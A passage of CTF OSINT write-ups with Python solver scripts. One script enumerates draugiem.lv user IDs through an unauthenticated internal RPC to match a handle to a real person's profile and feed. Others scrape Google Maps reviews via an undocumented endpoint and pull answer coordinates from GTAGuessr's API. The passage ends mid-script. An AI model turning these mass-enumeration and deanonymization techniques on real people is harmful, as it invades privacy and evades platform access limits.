* **Location:** Al Jaddaf, Dubai, UAE — a historic dhow-building waterfront area on Dubai Creek
* **Google Plus Code:** 7HQQ688R+GC

**Flag:** `0xfun{Al_Jaddaf_Marine_Station}` (challenge was not available for submission in the CTFd index at time of solving)

### Regional Pivot

#### Description

We are given an online handle `ANormalStick`. We must OSINT the handle to identify the real person behind it, then pivot to a *regional/local* social media platform tied to their home region and find the flag `0xfun{...}` using the platform’s internal search/lookup mechanisms.

#### Solution

**1) Identify the real person behind `ANormalStick`**

* The handle’s GitHub presence includes a GitHub Pages portfolio in the `CTF-Writeups` repo.
* That portfolio page reveals the real name: **Jānis Mārtiņš Īvāns** (Latvia).

**2) Pivot to Latvia’s local social platform: `draugiem.lv`**

`draugiem.lv` hides most search behind authentication, but several internal endpoints still work for guest sessions:

* Fetch `https://www.draugiem.lv/?login=0`:
  * This sets a guest `DS` cookie.
  * The HTML embeds a per-session `nonce` parameter like `nm_...=...`.
* Use the internal JSON-RPC endpoint to enumerate users without logging in:
  * `https://www.draugiem.lv/api/rpc.php?m=Users__Get&nm_...=...`
  * Request the `Users__UserDefault` selector so the response includes `name`, `surname`, `title`, `url`, etc.

Scanning the user-id space for surname token `Īvāns`/`Ivans` finds the correct profile:

* URL: `https://www.draugiem.lv/jmii/`
* uid: `3776564`
* title: `Jānis Mārtiņš īvāns`

**3) Extract the flag from the “Runā” (say) feed**

The profile page includes a “Runā” feed and uses an RPC endpoint:

* `https://www.draugiem.lv/say/rq/app.php?nm_...=...`
* POST JSON body: `{"method":"getUserPosts","data":{...}}`

Paginating the feed (increasing `pg` and passing `minPid`) and grepping strings for `0xfun{...}` reveals the flag in an older post:

* Post URL: `https://www.draugiem.lv/jmii/say/?pid=1255977475`
* Flag: `0xfun{L3t5_M4k3_S0mE_Fr13nd5}`

**4) Reproduce (commands)**

From this challenge directory:

```bash
# Enumerate the matching Draugiem profile by scanning a uid range
python3 solve.py scan --start 3000001 --end 4500000 --threads 6 --sleep 0.01 --out-jsonl candidates_3m_45m.jsonl

# Scan the user's "Runā" feed for the flag
python3 solve.py say-scan --path /jmii/ --uid 3776564 --max-pages 5 --out-jsonl jmii_say_items.jsonl
```

**5) Solution code**

```python
#!/usr/bin/env python3
import argparse
import json
import re
import sys
import threading
import time
import unicodedata
from dataclasses import dataclass
from pathlib import Path

import requests


ROOT = Path(__file__).resolve().parent
DEFAULT_LOGIN_URL = "https://www.draugiem.lv/?login=0"
RPC_URL = "https://www.draugiem.lv/api/rpc.php"
SAY_RPC_URL = "https://www.draugiem.lv/say/rq/app.php"


def _strip_diacritics(value: str) -> str:
    decomposed = unicodedata.normalize("NFKD", value)
    return "".join(ch for ch in decomposed if not unicodedata.combining(ch))


def _norm(value: str | bool | None) -> str:
    if not value or value is False:
        return ""
    value = str(value)
    value = _strip_diacritics(value).casefold()
    value = re.sub(r"[^a-z0-9]+", " ", value)
    return " ".join(value.split())


def _extract_nonce(html: str) -> tuple[str, str]:
    m = re.search(r"\"nonce\":\{\"name\":\"(nm_[^\"]+)\",\"value\":\"([^\"]+)\"\}", html)
    if not m:
        raise RuntimeError("Could not find nonce in login HTML")
    return m.group(1), m.group(2)


def _export_netscape_cookies(session: requests.Session, out_path: Path) -> None:
    lines = [
        "# Netscape HTTP Cookie File",
        "# https://curl.se/docs/http-cookies.html",
        "# This file was generated by solve.py",
        "",
    ]
    for cookie in session.cookies:
        domain = cookie.domain or "www.draugiem.lv"
        include_subdomains = "TRUE" if domain.startswith(".") else "FALSE"
        path = cookie.path or "/"
        secure = "TRUE" if cookie.secure else "FALSE"
        expires = str(int(cookie.expires or 0))
        name = cookie.name
        value = cookie.value
        lines.append("\t".join([domain, include_subdomains, path, secure, expires, name, value]))
    out_path.write_text("\n".join(lines) + "\n", encoding="utf-8")


@dataclass(frozen=True)
class DraugiemCtx:
    session: requests.Session
    nonce_name: str
    nonce_value: str


def bootstrap(login_url: str = DEFAULT_LOGIN_URL, timeout_s: float = 20.0) -> DraugiemCtx:
    session = requests.Session()
    html = session.get(login_url, timeout=timeout_s, headers={"User-Agent": "curl/8.5.0"}).text
    (ROOT / "dr_login.html").write_text(html, encoding="utf-8")
    _export_netscape_cookies(session, ROOT / "dr.jar")
    nonce_name, nonce_value = _extract_nonce(html)
    return DraugiemCtx(session=session, nonce_name=nonce_name, nonce_value=nonce_value)


def rpc(ctx: DraugiemCtx, method: str, params: dict, schema: dict | None = None, timeout_s: float = 20.0):
    url = f"{RPC_URL}?m={method}&{ctx.nonce_name}={ctx.nonce_value}"
    payload = [[method, params, schema or {}]]
    r = ctx.session.post(
        url,
        data=json.dumps(payload, separators=(",", ":")),
        timeout=timeout_s,
        headers={"X-Requested-With": "api", "User-Agent": "curl/8.5.0"},
    )
    r.raise_for_status()
    j = r.json()
    # Typical shape: [[<result>, <err>], <top_err>]
    if isinstance(j, list) and len(j) >= 1 and isinstance(j[0], list) and len(j[0]) >= 2:
        err = j[0][1]
        if err:
            raise RuntimeError(f"RPC error for {method}: {err}")
        return j[0][0]
    raise RuntimeError(f"Unexpected RPC response for {method}: {j!r}")


def users_get(ctx: DraugiemCtx, uids: list[int]):
    schema = {
        "Users__GetRe": ["users"],
        "Users__UserDefault": ["id", "name", "surname", "title", "url", "type", "city", "nickname"],
    }
    return rpc(ctx, "Users__Get", {"uids": uids}, schema=schema)


def fetch_profile_html(session: requests.Session, url_path: str, timeout_s: float = 20.0) -> str:
    if not url_path.startswith("/"):
        url_path = "/" + url_path
    url = "https://www.draugiem.lv" + url_path
    r = session.get(url, timeout=timeout_s, headers={"User-Agent": "curl/8.5.0"})
    r.raise_for_status()
    return r.text


FLAG_RE = re.compile(r"0xfun\{[^}\n\r]{1,200}\}")


def _write_jsonl(path: Path, obj: dict) -> None:
    with path.open("a", encoding="utf-8") as f:
        f.write(json.dumps(obj, ensure_ascii=False) + "\n")


def scan_range_for_ivans(
    start_uid: int,
    end_uid: int,
    *,
    batch_size: int = 200,
    sleep_s: float = 0.0,
    out_jsonl: Path = ROOT / "candidates.jsonl",
    stop_event: threading.Event | None = None,
    strong_only: bool = False,
    surname_only: bool = True,
) -> list[dict]:
    if batch_size > 200:
        raise ValueError("Draugiem Users__Get rejects >200 uids per request (Too much uids)")

    ctx = bootstrap()
    matches: list[dict] = []
    cur = start_uid

    while cur <= end_uid and not (stop_event and stop_event.is_set()):
        batch = list(range(cur, min(end_uid + 1, cur + batch_size)))
        cur += batch_size

        try:
            re_obj = users_get(ctx, batch)
        except Exception as e:
            sys.stderr.write(f"[warn] batch {batch[0]}..{batch[-1]} failed: {e}\n")
            time.sleep(1.0)
            continue

        users = (re_obj or {}).get("users", {})
        for u in users.values():
            if not isinstance(u, dict):
                continue
            if u.get("type") == -1:
                continue

            name_n = _norm(u.get("name"))
            surname_n = _norm(u.get("surname"))
            title_n = _norm(u.get("title"))
            city_n = _norm(u.get("city"))
            nick_n = _norm(u.get("nickname"))

            surname_tokens = set(surname_n.split())
            title_tokens = set(title_n.split())
            has_ivans = ("ivans" in surname_tokens) or (not surname_only and "ivans" in title_tokens)
            if not has_ivans:
                continue

            is_janis = "janis" in name_n or "janis" in title_n
            has_martins = "martins" in name_n or "martins" in title_n or "martins" in surname_n
            strong = is_janis and has_martins
            if strong_only and not strong:
                continue

            hit = {
                "id": u.get("id"),
                "name": u.get("name"),
                "surname": u.get("surname"),
                "title": u.get("title"),
                "url": u.get("url"),
                "city": u.get("city"),
                "nickname": u.get("nickname"),
                "strong": strong,
                "norm": {
                    "name": name_n,
                    "surname": surname_n,
                    "title": title_n,
                    "city": city_n,
                    "nickname": nick_n,
                },
            }
            matches.append(hit)
            _write_jsonl(out_jsonl, hit)
            print(
                f\"[match] id={hit['id']} title={hit['title']!r} url={hit['url']!r} city={hit['city']!r} nick={hit['nickname']!r} strong={strong}\"
            )
            if strong and stop_event:
                stop_event.set()
                break

        if sleep_s:
            time.sleep(sleep_s)

    return matches


def scan_parallel(args) -> list[dict]:
    stop = threading.Event()
    out_jsonl = Path(args.out_jsonl)
    out_jsonl.write_text("", encoding="utf-8")

    ranges: list[tuple[int, int]] = []
    total = args.end - args.start + 1
    seg = max(1, total // args.threads)
    s = args.start
    for i in range(args.threads):
        e = args.end if i == args.threads - 1 else min(args.end, s + seg - 1)
        ranges.append((s, e))
        s = e + 1
        if s > args.end:
            break

    results: list[dict] = []
    lock = threading.Lock()

    def worker(r: tuple[int, int]):
        local = scan_range_for_ivans(
            r[0],
            r[1],
            batch_size=args.batch,
            sleep_s=args.sleep,
            out_jsonl=out_jsonl,
            stop_event=stop,
            strong_only=args.strong_only,
            surname_only=args.surname_only,
        )
        with lock:
            results.extend(local)

    threads = [threading.Thread(target=worker, args=(r,), daemon=True) for r in ranges]
    for t in threads:
        t.start()
    for t in threads:
        t.join()
    return results


def main():
    ap = argparse.ArgumentParser(description=\"Regional Pivot solver helper (Draugiem.lv API enumeration)\")
    sub = ap.add_subparsers(dest=\"cmd\", required=True)

    sub_boot = sub.add_parser(\"bootstrap\", help=\"Fetch login page, write dr_login.html + dr.jar\")
    sub_boot.add_argument(\"--login-url\", default=DEFAULT_LOGIN_URL)

    sub_scan = sub.add_parser(\"scan\", help=\"Scan uid range for surname 'Īvāns' (normalized to ivans)\")
    sub_scan.add_argument(\"--start\", type=int, default=1)
    sub_scan.add_argument(\"--end\", type=int, default=3_000_000)
    sub_scan.add_argument(\"--threads\", type=int, default=4)
    sub_scan.add_argument(\"--batch\", type=int, default=200)
    sub_scan.add_argument(\"--sleep\", type=float, default=0.0)
    sub_scan.add_argument(\"--out-jsonl\", default=str(ROOT / \"candidates.jsonl\"))
    sub_scan.add_argument(\"--strong-only\", action=\"store_true\", help=\"Only record strong matches (Jānis + Mārtiņš + Īvāns)\")
    sub_scan.add_argument(
        \"--no-surname-only\",
        dest=\"surname_only\",
        action=\"store_false\",
        help=\"Also match when 'ivans' only appears in title (noisy; includes people named Ivans)\",
    )
    sub_scan.set_defaults(surname_only=True)

    sub_profile = sub.add_parser(\"profile\", help=\"Fetch a profile page by URL path and search for a flag\")
    sub_profile.add_argument(\"--path\", required=True, help=\"Profile URL path, e.g. /janismartins/ or /user/123/\")
    sub_profile.add_argument(\"--out\", default=str(ROOT / \"profile.html\"))

    sub_say = sub.add_parser(\"say-scan\", help=\"Scan a user's 'Runā' (say) feed for a flag via /say/rq/app.php\")
    sub_say.add_argument(\"--path\", required=True, help=\"Profile URL path, e.g. /jmii/\")
    sub_say.add_argument(\"--uid\", type=int, required=True, help=\"Numeric draugiem user id (uid)\")
    sub_say.add_argument(\"--max-pages\", type=int, default=200)
    sub_say.add_argument(\"--count\", type=int, default=30)
    sub_say.add_argument(\"--out-jsonl\", default=str(ROOT / \"say_items.jsonl\"))

    args = ap.parse_args()

    if args.cmd == \"bootstrap\":
        ctx = bootstrap(login_url=args.login_url)
        print(f\"nonce: {ctx.nonce_name}={ctx.nonce_value}\")
        return 0

    if args.cmd == \"scan\":
        res = scan_parallel(args)
        print(f\"done; matches={len(res)}; wrote={args.out_jsonl}\")
        return 0

    if args.cmd == \"profile\":
        ctx = bootstrap()
        html = fetch_profile_html(ctx.session, args.path)
        Path(args.out).write_text(html, encoding=\"utf-8\")
        m = FLAG_RE.search(html)
        if m:
            print(m.group(0))
            return 0
        print(\"no flag found in HTML\")
        return 1

    if args.cmd == \"say-scan\":
        session = requests.Session()
        profile_html = fetch_profile_html(session, args.path)
        nonce_name, nonce_val = _extract_nonce(profile_html)
        out_path = Path(args.out_jsonl)
        out_path.write_text(\"\", encoding=\"utf-8\")

        def say_rpc(method: str, data: dict):
            url = f\"{SAY_RPC_URL}?{nonce_name}={nonce_val}\"
            payload = {\"method\": method, \"data\": data}
            r = session.post(url, data=json.dumps(payload, separators=(\",\", \":\")), timeout=20.0)
            r.raise_for_status()
            j = r.json()
            if \"ok\" not in j:
                raise RuntimeError(f\"Unexpected say rpc response: {j!r}\")
            return j[\"ok\"]

        def walk_strings(x):
            if isinstance(x, dict):
                for v in x.values():
                    yield from walk_strings(v)
            elif isinstance(x, list):
                for v in x:
                    yield from walk_strings(v)
            elif isinstance(x, str):
                yield x

        min_pid = None
        for pg in range(1, args.max_pages + 1):
            data = {\"uid\": args.uid, \"count\": args.count, \"withoutRecommends\": 1, \"pg\": pg}
            if min_pid is not None:
                data[\"minPid\"] = min_pid
            ok = say_rpc(\"getUserPosts\", data)
            items = ok.get(\"items\", []) or []
            if not items:
                break
            min_pid = min(it.get(\"id\") for it in items if isinstance(it, dict) and it.get(\"id\"))

            for it in items:
                if not isinstance(it, dict):
                    continue
                _write_jsonl(out_path, it)
                for s in walk_strings(it):
                    m = FLAG_RE.search(s)
                    if m:
                        print(m.group(0))
                        print(f\"post: {it.get('url')}\")
                        return 0

        print(\"flag not found in scanned say items\")
        return 1

    return 2


if __name__ == \"__main__\":
    raise SystemExit(main())
```

### Frog Finder 2

#### Description

A frog-themed account `@myst3ryfr0gg3r` posted that they went to a restaurant and left a 5‑star review. The flag is embedded somewhere in their “newest adventures” online and is already in the format `0xfun{...}`.

#### Solution

1. Pull the tweet media (`artifacts/frog_media.jpg`) and geolocate it.
2. The street-view image matches **34–35 Southampton St, Covent Garden, London WC2E 7HG** (restaurant: **Frog by Adam Handling**). The nearby sandwich board reads “EVE” (`artifacts/crops/board.png`), matching the downstairs bar branding.
3. Extract Google Maps reviews headlessly via an internal endpoint:
   * `https://www.google.com/maps/preview/review/listentitiesreviews?pb=...` (returns XSSI-prefixed JSON)
4. Derive IDs from the Google Maps place URL hex pair `!1s0xAAAA:0xBBBB`:
   * `id_y = int(AAAA, 16)`
   * `cid = int(BBBB, 16)` (also used as `cid=` when fetching the place HTML)
5. Fetch a fresh `kEI` token from the place HTML (`https://www.google.com/maps?cid=<cid>`; regex `kEI='([^']+)'`).
6. Pagination:
   * Each returned review contains a cursor token at `rev[61]` (base64-like `CAES...`).
   * First page uses `!2m2!1i0!2iN`; subsequent pages use `!2m3!1i0!2iN!3s<cursor>`.
7. Scan all extracted review payload strings for `0xfun{...}`.

**Flag:** `0xfun{n0t_gu3ssy_4t_4ll}`

**Solution Code**

```python
#!/usr/bin/env python3
import json
import re
import time
import urllib.parse
import urllib.request
from dataclasses import dataclass, asdict
from pathlib import Path
from typing import Any, Iterable, Optional


UA = "Mozilla/5.0 (X11; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0"
FLAG_RE = re.compile(r"0xfun\{[^}]+\}")


def _http_get(url: str, *, referer: Optional[str] = None, timeout: int = 60) -> str:
    headers = {"User-Agent": UA, "Accept": "*/*"}
    if referer:
        headers["Referer"] = referer
    req = urllib.request.Request(url, headers=headers)
    with urllib.request.urlopen(req, timeout=timeout) as resp:
        return resp.read().decode("utf-8", "replace")


def _json_from_gmaps_xssi(raw: str) -> Any:
    if raw.startswith(")]}'"):
        raw = raw.split("\n", 1)[1]
    return json.loads(raw)


def get_kEI_from_cid(cid: int) -> str:
    html = _http_get(f"https://www.google.com/maps?cid={cid}&hl=en&gl=us")
    m = re.search(r"kEI='([^']+)'", html)
    if not m:
        raise RuntimeError("Could not find kEI in Maps HTML")
    return m.group(1)


def iter_strings(obj: Any) -> Iterable[str]:
    if isinstance(obj, str):
        yield obj
    elif isinstance(obj, list):
        for x in obj:
            yield from iter_strings(x)
    elif isinstance(obj, dict):
        for x in obj.values():
            yield from iter_strings(x)


@dataclass
class Review:
    post_id: str
    author_name: Optional[str]
    author_profile: Optional[str]
    relative_time: Optional[str]
    rating: Optional[float]
    text: Optional[str]
    token: Optional[str]


def _parse_review(rev: list) -> Review:
    post_id = rev[10]
    author_name = None
    author_profile = None
    if isinstance(rev[0], list) and len(rev[0]) >= 2:
        # rev[0] is [author_profile_url, author_display_name, ...]
        author_profile = rev[0][0]
        author_name = rev[0][1]
    return Review(
        post_id=post_id,
        author_name=author_name,
        author_profile=author_profile,
        relative_time=rev[1] if len(rev) > 1 else None,
        rating=rev[4] if len(rev) > 4 else None,
        text=rev[3] if len(rev) > 3 else None,
        token=rev[61] if len(rev) > 61 else None,
    )


def fetch_reviews_page(
    *,
    id_y: int,
    id_2: int,
    kEI: str,
    page_token: Optional[str],
    n: int = 200,
    sort: int = 1,
) -> list:
    # Field 2 is the pagination message:
    # - first page:  !2m2!1i0!2i{n}
    # - next pages:  !2m3!1i0!2i{n}!3s{page_token}
    if page_token is None:
        page_msg = f"!2m2!1i0!2i{n}"
    else:
        page_msg = f"!2m3!1i0!2i{n}!3s{page_token}"

    pb = (
        f"!1m2!1y{id_y}!2y{id_2}"
        f"{page_msg}"
        f"!3e{sort}"
        "!4m5!3b1!4b1!5b1!6b1!7b1"
        f"!5m2!1s{kEI}!7e81"
    )
    url = (
        "https://www.google.com/maps/preview/review/listentitiesreviews"
        "?authuser=0&hl=en&gl=us&pb="
        + urllib.parse.quote(pb, safe="!")
    )
    raw = _http_get(url, referer=f"https://www.google.com/maps?cid={id_2}&hl=en&gl=us")
    data = _json_from_gmaps_xssi(raw)
    return data[2] if isinstance(data, list) and len(data) > 2 and isinstance(data[2], list) else []


def dump_all_reviews(*, name: str, id_y: int, id_2: int, out_dir: Path) -> tuple[list[Review], list[str]]:
    out_dir.mkdir(parents=True, exist_ok=True)
    kEI = get_kEI_from_cid(id_2)

    seen_post_ids: set[str] = set()
    seen_page_tokens: set[str] = set()
    all_reviews: list[Review] = []
    found_flags: list[str] = []

    page_token: Optional[str] = None
    page_no = 0
    while True:
        page_no += 1
        page = fetch_reviews_page(id_y=id_y, id_2=id_2, kEI=kEI, page_token=page_token, n=200, sort=1)
        if not page:
            break

        new_count = 0
        for rev in page:
            r = _parse_review(rev)
            if r.post_id in seen_post_ids:
                continue
            seen_post_ids.add(r.post_id)
            all_reviews.append(r)
            new_count += 1

            for s in iter_strings(rev):
                for m in FLAG_RE.findall(s):
                    found_flags.append(m)

        next_token = page[-1][61] if isinstance(page[-1], list) and len(page[-1]) > 61 else None
        if not next_token or next_token in seen_page_tokens:
            break
        seen_page_tokens.add(next_token)
        page_token = next_token

        if new_count == 0:
            break

        # be polite; avoid rate limits
        time.sleep(0.15)

    # Write outputs
    (out_dir / f"{name}_reviews.json").write_text(
        json.dumps([asdict(r) for r in all_reviews], indent=2, ensure_ascii=False) + "\n",
        encoding="utf-8",
    )
    (out_dir / f"{name}_reviews.txt").write_text(
        "\n\n".join(
            [
                f"[{r.relative_time or 'unknown'}] {r.author_name or 'unknown'} ({r.rating})\n{r.text or ''}".strip()
                for r in all_reviews
            ]
        )
        + "\n",
        encoding="utf-8",
    )
    (out_dir / f"{name}_flags.txt").write_text("\n".join(found_flags) + ("\n" if found_flags else ""), encoding="utf-8")
    return all_reviews, found_flags


def main() -> int:
    # From the Maps place URL:
    # - Frog: 0x487604cbebae0fc3:0x16bc27cb91a15ade
    # - Eve:  0x487604cbebae0fc3:0x264ef606bcd2e528
    id_y = int("487604cbebae0fc3", 16)
    targets = [
        ("frog", id_y, int("16bc27cb91a15ade", 16)),
        ("eve", id_y, int("264ef606bcd2e528", 16)),
    ]

    out_dir = Path("reports")
    any_flags: list[str] = []
    for name, iy, i2 in targets:
        reviews, flags = dump_all_reviews(name=name, id_y=iy, id_2=i2, out_dir=out_dir)
        print(f"{name}: {len(reviews)} reviews, {len(flags)} flag hits")
        any_flags.extend(flags)

    any_flags = sorted(set(any_flags))
    if any_flags:
        print("FOUND FLAGS:")
        for f in any_flags:
            print(f)
        return 0

    print("No flags found in extracted review payloads.")
    return 1


if __name__ == "__main__":
    raise SystemExit(main())
```

### Where’s Franklin?

#### Description

We’re given a single image, `attachments/e0652c78-acce-48d5-86e2-5106bb6e6248.jpg`, and must submit the GTA V **street name** where Franklin took the selfie.

Flag format: `0xfun{Street_Name}`.

#### Solution

1. The attachment is a GTAGuessr image (served from `https://gtaguessr.com/guess/<filename>.jpg`).
2. Use GTAGuessr’s public endpoints:
   * `POST /API/GetLocations` → returns batches of locations: `{locationId, image}`.
   * `POST /API/SubmitAGuess` → returns the real in-game map coordinates `{lat, lng}` for a `locationId`.
3. Loop `/API/GetLocations`, download each `image`, and compare to the attachment using perceptual hashing until it matches.
4. Call `/API/SubmitAGuess` for the matched `locationId` to get its `(lat, lng)`.
5. Reverse-geocode `(lat, lng)` by OCR’ing GTA V “street overlay” tiles from `CreepPork/GTAV-Maps` (street labels are rotated, so rotate-scan + OCR).
6. Output the flag as `0xfun{<Street_Name_with_underscores>}`.

Result: `0xfun{Marlowe_Drive}`

Run:

```bash
python3 solve.py
```

**solve.py**

```python
#!/usr/bin/env python3
from __future__ import annotations

import argparse
import hashlib
import io
import json
import re
import sys
import time
from dataclasses import dataclass
from pathlib import Path
from typing import Iterable

import numpy as np
import requests
from PIL import Image, ImageEnhance, ImageOps


GTAGUESSR_BASE = "https://gtaguessr.com"
GET_LOCATIONS_URL = f"{GTAGUESSR_BASE}/API/GetLocations"
SUBMIT_GUESS_URL = f"{GTAGUESSR_BASE}/API/SubmitAGuess"
IMAGE_URL_TMPL = f"{GTAGUESSR_BASE}/guess/{{filename}}"

# CreepPork/GTAV-Maps "street" overlay tiles (street/0..7-{x}_{y}.png)
# Empirically aligns with GTAGuessr's 0..8192 map coordinates via:
#   x_px = lng * (11008/8192) and y_px = (-lat) * (11008/8192)
# where 11008 = 43 tiles * 256px at zoom 7.
CREEPORK_STREET_BASE = "https://raw.githubusercontent.com/CreepPork/GTAV-Maps/master/street"
CREEPORK_Z = 7
CREEPORK_TILE_PX = 256
CREEPORK_SCALE = 43 / 32


def _center_crop(img: Image.Image, frac: float) -> Image.Image:
    if not (0 < frac <= 1):
        raise ValueError("frac must be in (0,1]")
    w, h = img.size
    nw, nh = int(w * frac), int(h * frac)
    left = (w - nw) // 2
    top = (h - nh) // 2
    return img.crop((left, top, left + nw, top + nh))


def _dhash_int(img: Image.Image, hash_size: int = 16) -> int:
    g = img.convert("L").resize((hash_size + 1, hash_size), Image.Resampling.LANCZOS)
    pixels = np.asarray(g, dtype=np.int16)
    diff = pixels[:, 1:] > pixels[:, :-1]
    bits = diff.flatten().astype(np.uint8)
    out = 0
    for b in bits:
        out = (out << 1) | int(b)
    return out


def _ahash_int(img: Image.Image, hash_size: int = 16) -> int:
    g = img.convert("L").resize((hash_size, hash_size), Image.Resampling.LANCZOS)
    pixels = np.asarray(g, dtype=np.int16)
    mean = int(pixels.mean())
    bits = (pixels > mean).flatten().astype(np.uint8)
    out = 0
    for b in bits:
        out = (out << 1) | int(b)
    return out


def _hamming(a: int, b: int) -> int:
    return (a ^ b).bit_count()


@dataclass(frozen=True)
class Hashes:
    dh: tuple[int, ...]
    ah: tuple[int, ...]


def _hash_variants(img: Image.Image) -> Hashes:
    fracs = (1.0, 0.9, 0.8, 0.7)
    dh = []
    ah = []
    for f in fracs:
        v = img if f == 1.0 else _center_crop(img, f)
        dh.append(_dhash_int(v))
        ah.append(_ahash_int(v))
    return Hashes(dh=tuple(dh), ah=tuple(ah))


def _distance(a: Hashes, b: Hashes) -> int:
    # Cross-compare all variants; use min combined distance.
    best = 10**9
    for da in a.dh:
        for db in b.dh:
            d = _hamming(da, db)
            if d < best:
                best = d
    for aa in a.ah:
        for ab in b.ah:
            d = _hamming(aa, ab)
            if d < best:
                best = d
    return best


def _md5_bytes(b: bytes) -> str:
    return hashlib.md5(b, usedforsecurity=False).hexdigest()


def _post_json(session: requests.Session, url: str, payload) -> dict:
    r = session.post(
        url,
        headers={"Accept": "application/json", "Content-Type": "application/json"},
        data=json.dumps(payload),
        timeout=30,
    )
    r.raise_for_status()
    return r.json()


def _get_bytes(session: requests.Session, url: str) -> bytes:
    r = session.get(url, timeout=60)
    r.raise_for_status()
    return r.content


def _resolve_street_name_from_coords(session: requests.Session, *, lat: float, lng: float) -> str | None:
    try:
        import pytesseract  # type: ignore
    except Exception:
        return None

    x_px = float(lng) * CREEPORK_SCALE
    y_px = float(-lat) * CREEPORK_SCALE
    tile_x = int(x_px // CREEPORK_TILE_PX)
    tile_y = int(y_px // CREEPORK_TILE_PX)
    off_x = x_px % CREEPORK_TILE_PX
    off_y = y_px % CREEPORK_TILE_PX

    # Build a mosaic around the point to capture rotated road labels.
    radius_tiles = 5
    n = radius_tiles * 2 + 1
    mos = Image.new("RGBA", (CREEPORK_TILE_PX * n, CREEPORK_TILE_PX * n), (255, 255, 255, 255))
    for ix, tx in enumerate(range(tile_x - radius_tiles, tile_x + radius_tiles + 1)):
        for iy, ty in enumerate(range(tile_y - radius_tiles, tile_y + radius_tiles + 1)):
            url = f"{CREEPORK_STREET_BASE}/{CREEPORK_Z}-{tx}_{ty}.png"
            try:
                tile_bytes = _get_bytes(session, url)
            except Exception:
                continue
            tile = Image.open(io.BytesIO(tile_bytes)).convert("RGBA")
            bg = Image.new("RGBA", tile.size, (255, 255, 255, 255))
            bg.alpha_composite(tile)
            mos.paste(bg, (ix * CREEPORK_TILE_PX, iy * CREEPORK_TILE_PX))

    px = off_x + radius_tiles * CREEPORK_TILE_PX
    py = off_y + radius_tiles * CREEPORK_TILE_PX

    # Small crop around point, then rotate-scan for the clearest street label.
    crop = mos.crop((px - 450, py - 450, px + 450, py + 450)).convert("L")
    crop = ImageOps.autocontrast(crop)
    crop = crop.resize((crop.size[0] * 2, crop.size[1] * 2), Image.Resampling.NEAREST)
    crop = ImageEnhance.Contrast(crop).enhance(2.5)

    def norm(s: str) -> str:
        return " ".join(s.replace("\n", " ").split()).strip()

    def extract_street(s: str) -> str | None:
        s = norm(s)
        m = re.search(
            r"([A-Za-z][A-Za-z .'-]{2,60}?\s+(?:Drive|Road|Avenue|Boulevard|Street|Freeway|Way|Court|Place|Lane|Terrace|Parkway))",
            s,
        )
        return m.group(1).strip() if m else None

    def is_street(s: str) -> bool:
        s = s.lower()
        return any(
            k in s
            for k in (
                " drive",
                " road",
                " avenue",
                " boulevard",
                " street",
                " freeway",
                " way",
                " court",
                " place",
                " lane",
                " terrace",
                " parkway",
                " dr",
                " rd",
                " ave",
                " blvd",
                " st",
                " fwy",
            )
        )

    best: tuple[int, str] | None = None  # (votes, text)
    votes: dict[str, int] = {}

    cfg = "--psm 7"
    for angle in range(-60, 61, 2):
        rot = crop.rotate(angle, expand=True, fillcolor=255)
        bw = ImageOps.autocontrast(rot).point(lambda p: 0 if p < 200 else 255, "1")
        raw = pytesseract.image_to_string(bw, config=cfg)
        txt = extract_street(raw)
        if not txt:
            continue
        votes[txt] = votes.get(txt, 0) + 1
        if best is None or votes[txt] > best[0]:
            best = (votes[txt], txt)

    return best[1] if best else None


def _iter_location_batches(
    session: requests.Session,
    *,
    max_requests: int,
    sleep_s: float,
) -> Iterable[dict]:
    played: list[str] = []
    for _ in range(max_requests):
        played_str = ",".join(played)
        resp = _post_json(session, GET_LOCATIONS_URL, played_str)
        for loc in resp.get("locations", []):
            loc_id = str(loc["locationId"])
            if loc_id not in played:
                played.append(loc_id)
        yield resp
        if sleep_s:
            time.sleep(sleep_s)


def main() -> int:
    ap = argparse.ArgumentParser(description="Solve 0xfun OSINT: Where's Franklin? via gtaguessr.com APIs")
    ap.add_argument(
        "--attachment",
        default="attachments/e0652c78-acce-48d5-86e2-5106bb6e6248.jpg",
        help="Path to provided challenge image",
    )
    ap.add_argument("--max-requests", type=int, default=2000, help="Max /API/GetLocations calls")
    ap.add_argument("--sleep", type=float, default=0.0, help="Sleep between API calls (seconds)")
    ap.add_argument("--cache-dir", default="cache", help="Directory to store downloaded guess images")
    ap.add_argument("--report-every", type=int, default=25, help="Progress print frequency (batches)")
    ap.add_argument("--best-out", default="best_match.json", help="Write current best match to this JSON file")
    args = ap.parse_args()

    attachment_path = Path(args.attachment)
    if not attachment_path.exists():
        print(f"Attachment not found: {attachment_path}", file=sys.stderr)
        return 2

    cache_dir = Path(args.cache_dir)
    cache_dir.mkdir(parents=True, exist_ok=True)

    att_img = Image.open(attachment_path)
    att_hashes = _hash_variants(att_img)

    s = requests.Session()

    best = {
        "distance": None,
        "locationId": None,
        "filename": None,
        "image_md5": None,
        "sessionId": None,
        "submit_response": None,
    }

    seen: set[int] = set()
    total = 0

    for i, resp in enumerate(_iter_location_batches(s, max_requests=args.max_requests, sleep_s=args.sleep), start=1):
        session_id = resp.get("sessionId")
        locs = resp.get("locations", [])
        for loc in locs:
            loc_id = int(loc["locationId"])
            if loc_id in seen:
                continue
            seen.add(loc_id)
            total += 1
            filename = loc["image"]
            url = IMAGE_URL_TMPL.format(filename=filename)
            out_path = cache_dir / f"{loc_id}_{filename}"

            if out_path.exists():
                img_bytes = out_path.read_bytes()
            else:
                img_bytes = _get_bytes(s, url)
                out_path.write_bytes(img_bytes)

            try:
                img = Image.open(io.BytesIO(img_bytes))
                cand_hashes = _hash_variants(img)
            except Exception:
                continue

            d = _distance(att_hashes, cand_hashes)
            if best["distance"] is None or d < best["distance"]:
                best.update(
                    {
                        "distance": int(d),
                        "locationId": int(loc_id),
                        "filename": filename,
                        "image_md5": _md5_bytes(img_bytes),
                        "sessionId": int(session_id) if session_id is not None else None,
                        "submit_response": None,
                    }
                )
                Path(args.best_out).write_text(json.dumps(best, indent=2) + "\n", encoding="utf-8")
                print(f"[best] d={d} locationId={loc_id} file={filename}")

                # If it looks like a near-exact match, fetch true coords immediately.
                if d <= 4 and session_id is not None:
                    data = {
                        "sessionId": str(session_id),
                        "locationId": str(loc_id),
                        "lat": "0",
                        "lng": "0",
                        "lobyId": "0",
                        "lobyUserId": "0",
                        "game": "0",
                    }
                    try:
                        submit = _post_json(s, SUBMIT_GUESS_URL, data)
                        best["submit_response"] = submit
                        Path(args.best_out).write_text(json.dumps(best, indent=2) + "\n", encoding="utf-8")
                        print(f"[match] SubmitAGuess -> {submit}")

                        street = _resolve_street_name_from_coords(
